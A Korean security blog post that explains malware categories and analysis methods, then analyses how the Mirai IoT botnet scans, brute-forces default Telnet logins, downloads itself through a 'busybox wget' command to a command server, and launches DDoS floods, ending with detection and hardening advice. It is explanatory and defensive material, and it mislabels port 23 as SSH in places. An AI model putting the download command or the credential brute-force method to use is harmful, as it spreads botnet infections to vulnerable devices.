- 악의적인 행위를 하는 코드로, 실행 파일, 스크립트, 코드, 또는 다른 유형의 소프트웨어 형태가 될 수 있음

> 컴퓨터 연산 방해
> 개인, 비즈니스, 재무 데이터를 포함한 민감 정보 훔치기
> 표적 감시
> 스팸 이메일 보내기
> 분산 서비스 거부(DDoS, Distributed-Denial-of-Service) 공격 참여
> 컴퓨터에 있는 파일을 잠근 후에 대가(Ransom) 요구하기

 

- 악성코드의 분류

구분 설명
기능적 구분 바이러스 (Virus)
또는 웜 (Worm)
- 자가 복제하고 다른 컴퓨터로 확산하는 기능을 가짐
- 바이러스는 유저와 상호작용을 통해 확산하지만, 웜은 유저와 상호작용 없이 확산
트로이 목마 (Trojan) - 일반 프로그램으로 위장해 유저가 자신의 컴퓨터에 설치하도록 하는 악성코드
백도어/원격 접속 트로이 목마
(RAT, Remote Access Trojan)
- 공격자가 침해한 컴퓨터에 원격 접속하거나 명령어를 실행할 수 있는 악성코드
애드웨어 (Adware) - 원치 않는 광고를 노출하는 악성코드
봇넷 (Botnet) - 동일한 악성코드(봇)에 감염된 컴퓨터 그룹으로 공격자가 집단으로 악의적인 행동을 하는데 사용 (스팸 메일 전송, DDoS 등)
- 공격자가 통제하는 명령어 통제 서버의 명령을 대기
정보 스틸러 (Information Stealer) - 특정 민감 정보를 훔치고자 디자인된 악성코드 (Key logger, Spyware, Sniffer, Grabber 등)
랜섬웨어 (Ransomeware) - 파일을 암호화한 후 대가를 위해 시스템을 볼모로 잡는 악성코드
루트킷 (Rootkit) - 설치된 시스템에서 공격자에게 관리자 권한을 제공하거나 자신 또는 다른 소프트웨어의 존재 여부를 숨기는 악성코드
다운로더(Downloader) 
또는 드로퍼(Dropper)
- 추가 악성코드 컴포넌트를 다운로드하거나 설치하도록 설계된 악성코드
동기에 따른
구분
크라임웨어(Crimeware) 
또는 상용 악성코드(Commodity malware)
- 공격자의 이익을 위한 악성코드
첩보 악성코드 - 첩보 활동을 목적으로 한 악성코드

 

- 악성코드 분석의 목적

> 악성코드 분석이란 악성코드의 행위를 연구하는 것

> 목적은 악성코드의 동작을 이해한 후 탐지하고 삭제하는 방법을 파악하는 것

악성코드 분석 이유 > 악성코드 샘플에서 정보를 추출하여 악성코드 사고 대응에 도움을 주기 위함
> 악성코드의 특성과 목적을 파악하기 위해
> 시스템이 어떻게 침해됐는지와 그 영향을 이해하고자
> 악성코드와 관련된 네트워크 식별자(Indicator)를 파악하고자 : 네트워크 모니터링
> 파일명, 레지스트리 키와 같은 호스트 내부 식별자를 추출하고자 : 호스트 모니터링
> 공격자의 의도와 목적을 파악하고자

 

- 악성코드 분석 종류

구분 설명
정적 분석 (Static Analysis) - 악성코드를 실행하지 않고 바이너리를 분석
- 가장 쉬운 방법
- 의심 바이너리에서 메타데이터를 추출할 수 있음
동적 분석 (Dynamic Analysis) - 격리된 환경에서 의심 바이너리를 실행한 후 행위를 모니터링
- 수행하기 쉬우며, 실행하는 동안 바이너리의 활동에 관한 가치 있는 통찰력 제공
코드 분석 (Code Analysis) - 바이너리 내부 동작을 이해하기 위한 고급 악성코드 분석 방법
- 정적/동적 분석을 통해 파악이 불가능한 정보 획득 가능
- 정적 코드 분석
> 의심 바이너리를 디어셈블링 (Disassembling)한 후 프로그램의 동작을 이해하고자 코드를 분석
- 동적 코드 분석
> 악성코드의 기능을 이해하고자 의심 바이너리를 통제된 방법으로 디버깅
메모리 분석, 포렌식(Memory Analysis, Forensic) - 포렌식 아티팩트 (사용 흔적)를 위해 컴퓨터 메모리를 분석하는 기법
- 악성코드의 은닉 또는 회피 능력을 파악하는 데 유용

 

- 악성코드 출처

> 분석을 수행하기 위한 악성 코드 샘플이 필요
> 악성코드 분석을 위해 악성코드 샘플을 얻을 수 있는 출처 모음
> Hybrid Analysis : https://www.hybrid-analysis.com/
> KernelMode.info : https://www.kernelmode.info/forum/
> VirusBay : https://beta.virusbay.io/
> Contagio malware dump : https://contagiodump.blogspot.com/
> AVCaesar : https://avcaesar.malware.lu/
> VirusShare : https://virusshare.com/
> theZoo : https://virusshare.com/

1. 개요

[그림 1] Mirai (출처 : 해시넷)

타임라인 설명
2016.09.13 - 컴퓨터 보안기자 Brian Krebs의 웹사이트(krebsonsecurity.com) 665 Gbps 공격 진행
2016.09.18 - OVH(프랑스 웹 호스트)에 최초 1.1 Tbps 공격시작, 최종 1.5 Tbps 공격으로 세계에서 가장 큰 규모의 디도스 공격으로 기록
2016.09.30 - 해커 포럼(Hacker Forum)에 미라이 제작자 소스코드와 상세한 내용 공개
- 소스코드를 공개함에 따라 변종 악성코드가 발생할 것이라는 예상이 있었으며, 실제로도 지속적으로 변종 악성코드 발견되는 중
2016.10.21 - 2016 Dyn cyberattack 1.2 Tbps 크기 공격(미국의 주요 도메인 서비스 마비된 사건 발생, 장기간 서비스 중단)
- Dyn(미국 DNS 서비스 업체)이 맡고 있는 1,200개가 넘는 사이트가 일제히 마비

- 웜 계열의 DDoS 공격 유발 악성코드

- 사물인터넷(IoT) 기기를 bot(좀비)로 만들어 네트워크상에서 해커가 마음대로 제어할 수 있게 하는 악성코드

감염 대상 설명
IoT 기기 - loT 장비 제조사마다 다양한 CPU를 사용하고 있고, CPU 환경에 적합한 리눅스 운영체제를 적용
- 리눅스 운영체제를 기반으로 제작된 소스코드는 크로스 컴파일을 통해 다양한 CPU환경에서 실행가능하도록 만들어짐
- 이 때문에 거의 대부분의 IoT 기기가 공격의 대상이 된다.

* 크로스 컴파일: 소스코드를 CPU 별로 실행 가능한 형태로 바꿔주는 행위

- 보안이 허술한 IoT 기기(SSH_23 Port Open + Default or Easy ID/PW)에 악성코드를 설치하여 좀비로 만들어 다른 보안이 허술한 IoT를 찾아 유포

기능 설명
스캔 - 랜덤 IP 주소를 생성하여 23번 포트(Telnet)로 약 60여개의 ID/PW를 이용
- 기본설정을 변경하지 않은 IoT 장비에 Bruteforce를 시도
전파 - IoT 기기에 접속이 성공하면 Mirai 악성코드를 유포 및 실행 과정 반복
- 감염 장비를 확보함으로써 봇넷 형성

* IoT 장비에서 제공하는 명령어가 부족하여 악성코드 다운로드에 실패할 수 있음
- 이 경우 다양한 명령어를 보유한 새로운 Busybox(리눅스 기반 명령어 모음도구)를 주입
- Busybox의 wget명령어를 이용하여 Mirai 악성코드를 다운로드 받아 실행
- 명령 예제 : busybox wget http://C2 IP/
DDoS - 형성된 봇넷은 C&C에 접속하여 명령을 대기하고 공격 명령 수신 시 DDoS 공격을 수행
- HTTP(GET, POST, HEAD), TCP(SYN, RST, FIN, ACK, PSH), UDP(DNS, ICMP) Flooding 등의 공격
재부팅 방지 - 임베디드 장비는 동작 중 멈추거나 서비스가 중지되는 것을 방지하기 위해 자동 재부팅 기능(Watchdog)이 존재
- Mirai는 감염 시 메모리에만 상주하고 디스크에서 파일을 삭제하기 때문에 재부팅 시 메모리에 상주한 악성코드가 사라져 동작이 중지
- 이를 막기 위해서 재부팅 기능을 무력화하는 기능이 악성코드 내에 포함

※ watchdog : 임베디드 장비가 다운됐을 때 재부팅을 위한 모니터링 프로세스
기타 - DDoS 외에도 네트워크 수준의 공격 모두 수행 가능
- 한 장치를 감염시키면, 해당 기기에서 다른 악성코드를 찾아내 이를 지우는 기능을 수행
- GE, HP, 미국 국방부 소유의 IP 주소를 포함해 피할 수 있는 특정 IP 주소가 있음
- 러시아로 된 몇 개의 문자열이 있으며, 이는 관심과 추적을 다른 데로 돌리기 위한 미끼

 

2. 분석

 

GitHub - jgamblin/Mirai-Source-Code: Leaked Mirai Source Code for Research/IoC Development Purposes

Leaked Mirai Source Code for Research/IoC Development Purposes - GitHub - jgamblin/Mirai-Source-Code: Leaked Mirai Source Code for Research/IoC Development Purposes

github.com

[그림 2] 동작 원리

- Mirai의 동작원리는 [그림 2] 및 다음과 같음

① 취약한 IoT기기를 스캔 하여 ② 악성코드를 유포, ③ 감염 및 ④ 다른 취약한 IoT 기기를 찾아 유포 및 ⑤ 봇넷 형성 후 ⑥ 대상 서버에 DDoS 공격 수행

 

① 스캔

- 우선 공격자는 랜덤하게 목적지 IP를 생성하며 이때, 무작위하게 생성하는 것이 아닌 일부 스캔하지 않는 IP 대역도 존재

[그림 3] 랜덤 목적지 IP 설정

 

- 또한, 1024 미만의 랜덤한 포트로 Src Port를 생성하며, Dst Port는 23(SSH)로 고정

[그림 4] 랜덤 Src Port 생성 및 Dst Port 23

 

- 스캔 조건에 부합하는 IoT 장비를 발견할 경우 62개의 ID/PW 중 랜덤으로 접속 계정을 결정하여 10번씩 연결을 시도하며, 가중치가 높을수록 뽑힐 가능성이 큼

- 가중치는 Mirai 악성코드가 제작될 당시 제품 판매량을 기초로 하여 부여한 것으로 추측

[그림 5] 62개의 계정으로 접속 시도

 

② 악성코드 유포

[그림 6] 악성코드 유포

- IoT 장비에서 제공하는 명령어가 부족하여 악성코드 다운로드에 실패할 수 있어 Busybox(리눅스 기반 명령어 모음도구)를 주입

- Busybox의 wget명령어를 이용하여 Mirai 악성코드를 다운로드 받아 실행

- Busybox를 확인해 보면 wget 명령 이외에도 다양한 명령이 존재

[그림 7] busybox

 

③ 감염

- ② 과정에서 다운로드한 Mirai를 실행하여 감염된 IoT를 좀비 상태, 즉 Bot이 됨

- 임베디드 기기는 장비의 오류가 발생할 경우 재시작을 위한 자동 재부팅 기능(Watchdog)이 존재

- Mirai는 실행 후 디스크에서 파일을 삭제하고 메모리에만 상주하여 동작하기에 해당 기능을 비활성화 시킴

[그림 8] watchdog 비활성화

- 또한, 재시작을 막기위해 일부 프로세스를 종료하고, 메모리 스캔이 수행되지 않도록 설정

[그림 9] 프로세스 종료

 

④ 유포

- 감염 IoT 장비, 즉 Bot을 통해 ① ~ ③의 과정을 반복

 

⑤ 봇넷 형성

- ① ~ ④의 과정을 반복하여 Bot으로 이루어진 Bot Net을 형성

- 이후 C2 서버 명령 대기

 

⑥ DDoS

[그림 10] DDoS 공격

- Bot Net을 통해 대상 서버에 DDoS 공격을 수행 

프로토콜 종류
TCP SYN, RST, FIN, ACK, PSH Flooding
UDP DNS, ICMP, VSE Flooding
HTTP GET, POST, HEAD Flooding
GRE GRE Flooding

 

3. 대응 방안

[그림 11] shodan port:23

- Mirai는 보안이 허술한 IoT 기기 즉, 23 Port가 Open 상태이며 기본 혹은 유추하기 쉬운 ID/PW를 대상으로 유표

- 따라서 두 가지 조건 중 하나라도 차단 된다면 Mirai와 관련된 영향도는 없다고 볼 수 있음

- 하지만, Mirai 소스 코드가 공개됨에 따라 변종 악성코드가 다수 발견되므로, 다양한 대책이 필요

 

3.1 네트워크 측면

① 네트워크 연결 차단

② 포트 점검 및 모니터링

③ wget, busybox, mirai, /bin/sh, chmod 등 공격에 사용되는 문자열을 탐지할 수 있는 Snort 룰 등 적용 후 모니터링

 

3.2 사용자 측면

① 초기 ID/PW를 사용하지않고 변경하여 사용

② IoT 기기의 최신 업데이트 적용 및 보안성 점검

 

3.3 기타

① IoT 기기 초기화

'악성코드 > 분석' 카테고리의 다른 글

제로클릭(Zero-Click)  (0) 2023.02.20
악성코드와 레지스트리  (1) 2023.01.08
Gh0st RAT(Remote Access Trojan)  (0) 2022.11.28
2021.03.28 PHP Git 서버 해킹 사건_백도어  (1) 2022.11.25
C2aaS(C2-as-a-Service)  (0) 2022.11.19

+ Recent posts